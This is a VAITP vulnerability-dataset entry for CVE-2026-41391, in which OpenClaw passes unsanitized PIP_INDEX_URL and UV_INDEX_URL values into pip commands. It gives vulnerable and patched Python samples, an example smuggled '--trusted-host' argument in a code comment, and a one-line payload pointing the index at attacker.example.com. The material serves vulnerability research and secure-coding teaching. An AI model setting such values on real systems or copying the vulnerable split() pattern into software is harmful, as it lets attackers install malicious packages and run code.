VAITP Dataset

← Back to the dataset

CVE-2026-41391

Unsanitized env vars allow redirection of Python package-index traffic.

  • CVSS 5.8
  • CWE-184
  • Input Validation and Sanitization
  • Local

OpenClaw before 2026.3.31 fails to properly sanitize PIP_INDEX_URL and UV_INDEX_URL environment variables in host execution contexts, allowing attackers to redirect Python package-index traffic. Attackers can exploit this bypass to intercept or manipulate package management operations by injecting malicious index URLs through unsanitized environment variables.

CVSS base score
5.8
Published
2026-04-28
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
OpenClaw
Fixed by upgrading
Yes

Solution

Upgrade to OpenClaw version 2026.3.31 or later.

Vulnerable code sample

import os
import subprocess
import sys

def vulnerable_package_installer(package_name: str):
    """
    Constructs a package installation command using environment variables
    without proper sanitization, representing the vulnerable logic.
    """
    command = [sys.executable, "-m", "pip", "install", package_name]

    # Check for PIP_INDEX_URL or UV_INDEX_URL from the environment
    index_url = os.environ.get("PIP_INDEX_URL") or os.environ.get("UV_INDEX_URL")

    if index_url:
        # VULNERABLE: The environment variable is directly used to build
        # the command. A simple split() on the string allows an attacker
        # to inject additional arguments.
        #
        # For example, an attacker can set the environment variable to:
        # "http://malicious.pypi.org --trusted-host malicious.pypi.org"
        #
        # The resulting command would then bypass security checks.
        command.extend(f"--index-url {index_url}".split())

    # In a real-world scenario, the constructed command would be executed,
    # for example, by using the subprocess module.
    # For demonstration purposes, we will not execute it.
    # e.g., subprocess.run(command, check=True)
    return command

Patched code sample

import os
import subprocess
import sys
from urllib.parse import urlparse

def fixed_package_installer(package_name: str):
    """
    A conceptual fix for CVE-2026-41391.

    This function securely constructs a package installation command by
    validating and sanitizing the index URL provided via an environment
    variable before passing it as a distinct argument to a subprocess.
    """
    command = [sys.executable, "-m", "pip", "install", package_name]

    # Check for relevant environment variables.
    index_url_env = os.environ.get("PIP_INDEX_URL") or os.environ.get("UV_INDEX_URL")

    if index_url_env:
        # 1. Sanitize: Parse the URL to validate its structure.
        parsed_url = urlparse(index_url_env)

        # 2. Validate: Ensure it uses an allowed scheme and has a network location.
        # This prevents injection of local file paths or other schemes.
        if parsed_url.scheme not in ('http', 'https') or not parsed_url.netloc:
            print(f"Error: Invalid or disallowed index URL: {index_url_env}", file=sys.stderr)
            sys.exit(1)

        # 3. Secure Usage: Append the validated URL as a distinct argument.
        # This is the key fix. It prevents the environment variable from being
        # interpreted by a shell, thus blocking command and argument injection.
        command.extend(["--index-url", parsed_url.geturl()])

    # Execute the command safely without using shell=True.
    # The operating system handles the arguments securely.
    try:
        subprocess.run(command, check=True, capture_output=True, text=True)
    except subprocess.CalledProcessError as e:
        print(f"Failed to install package '{package_name}'.", file=sys.stderr)
        print(f"Stderr: {e.stderr}", file=sys.stderr)
        sys.exit(1)

Payload

export PIP_INDEX_URL="http://attacker.example.com/simple"

Cite this entry

@misc{vaitp:cve202641391,
  title        = {{Unsanitized env vars allow redirection of Python package-index traffic.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41391},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41391/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::